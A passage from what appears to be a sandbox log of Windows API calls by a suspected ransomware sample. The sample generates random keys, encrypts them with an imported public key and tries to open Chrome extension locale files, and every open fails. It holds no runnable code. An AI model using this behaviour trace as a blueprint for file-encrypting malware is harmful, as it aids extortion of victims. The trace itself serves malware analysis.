hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2778) returned 1 [0238.570] CryptGetKeyParam (in: hKey=0x66b2778, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.570] CryptEncrypt (in: hKey=0x66b2778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9a50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9a50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.570] GetLastError () returned 0x0 [0238.570] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.570] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.571] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0238.574] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.576] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.576] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.576] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.576] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.578] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.579] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.579] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.579] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.580] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.582] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2838) returned 1 [0238.582] CryptGetKeyParam (in: hKey=0x66b2838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.582] CryptEncrypt (in: hKey=0x66b2838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9a60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9a60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.582] GetLastError () returned 0x0 [0238.582] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.582] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.584] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2178) returned 1 [0238.584] CryptGetKeyParam (in: hKey=0x66b2178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.584] CryptEncrypt (in: hKey=0x66b2178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9a70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9a70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.584] GetLastError () returned 0x0 [0238.584] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.584] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.585] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.588] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.590] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.590] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.590] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.590] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0238.592] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.594] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.594] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.594] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.594] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.597] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2f78) returned 1 [0238.597] CryptGetKeyParam (in: hKey=0x66b2f78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.597] CryptEncrypt (in: hKey=0x66b2f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9a80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9a80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.597] GetLastError () returned 0x0 [0238.597] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.597] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.599] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2c78) returned 1 [0238.599] CryptGetKeyParam (in: hKey=0x66b2c78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.599] CryptEncrypt (in: hKey=0x66b2c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9a90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9a90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.599] GetLastError () returned 0x0 [0238.599] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.599] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.601] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.603] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.605] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.605] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.605] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.605] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.607] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.608] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.608] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.608] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.609] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.611] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2f38) returned 1 [0238.611] CryptGetKeyParam (in: hKey=0x66b2f38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.611] CryptEncrypt (in: hKey=0x66b2f38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9aa0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9aa0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.611] GetLastError () returned 0x0 [0238.611] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.611] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.613] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2bf8) returned 1 [0238.613] CryptGetKeyParam (in: hKey=0x66b2bf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.613] CryptEncrypt (in: hKey=0x66b2bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ab0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9ab0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.613] GetLastError () returned 0x0 [0238.613] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.613] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.614] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.617] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.619] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.619] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.619] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.620] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.622] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.623] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.623] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.623] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.624] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.626] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2bb8) returned 1 [0238.626] CryptGetKeyParam (in: hKey=0x66b2bb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.626] CryptEncrypt (in: hKey=0x66b2bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ac0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9ac0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.626] GetLastError () returned 0x0 [0238.626] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.626] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.628] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2c38) returned 1 [0238.629] CryptGetKeyParam (in: hKey=0x66b2c38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.629] CryptEncrypt (in: hKey=0x66b2c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ad0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9ad0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.629] GetLastError () returned 0x0 [0238.629] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.629] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.630] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.633] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.636] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.636] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.636] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.636] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.639] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.641] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.641] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.641] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.641] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.643] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2cb8) returned 1 [0238.643] CryptGetKeyParam (in: hKey=0x66b2cb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.643] CryptEncrypt (in: hKey=0x66b2cb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ae0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9ae0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.644] GetLastError () returned 0x0 [0238.644] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.644] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.646] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2cf8) returned 1 [0238.646] CryptGetKeyParam (in: hKey=0x66b2cf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.646] CryptEncrypt (in: hKey=0x66b2cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9af0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9af0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.646] GetLastError () returned 0x0 [0238.646] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.646] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.647] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.650] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.652] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.652] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.652] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.652] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.654] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.656] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.656] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.656] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.657] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.659] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2ef8) returned 1 [0238.659] CryptGetKeyParam (in: hKey=0x66b2ef8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.659] CryptEncrypt (in: hKey=0x66b2ef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9b00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9b00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.660] GetLastError () returned 0x0 [0238.660] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.660] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.662] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2978) returned 1 [0238.662] CryptGetKeyParam (in: hKey=0x66b2978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.662] CryptEncrypt (in: hKey=0x66b2978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9b10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9b10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.662] GetLastError () returned 0x0 [0238.662] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.662] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.664] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.667] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.669] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.669] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.669] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.669] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.671] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.673] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.673] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.673] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.673] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.675] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2938) returned 1 [0238.675] CryptGetKeyParam (in: hKey=0x66b2938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.675] CryptEncrypt (in: hKey=0x66b2938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9b20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9b20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.675] GetLastError () returned 0x0 [0238.675] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.675] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.677] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b29b8) returned 1 [0238.677] CryptGetKeyParam (in: hKey=0x66b29b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.677] CryptEncrypt (in: hKey=0x66b29b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9b30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: 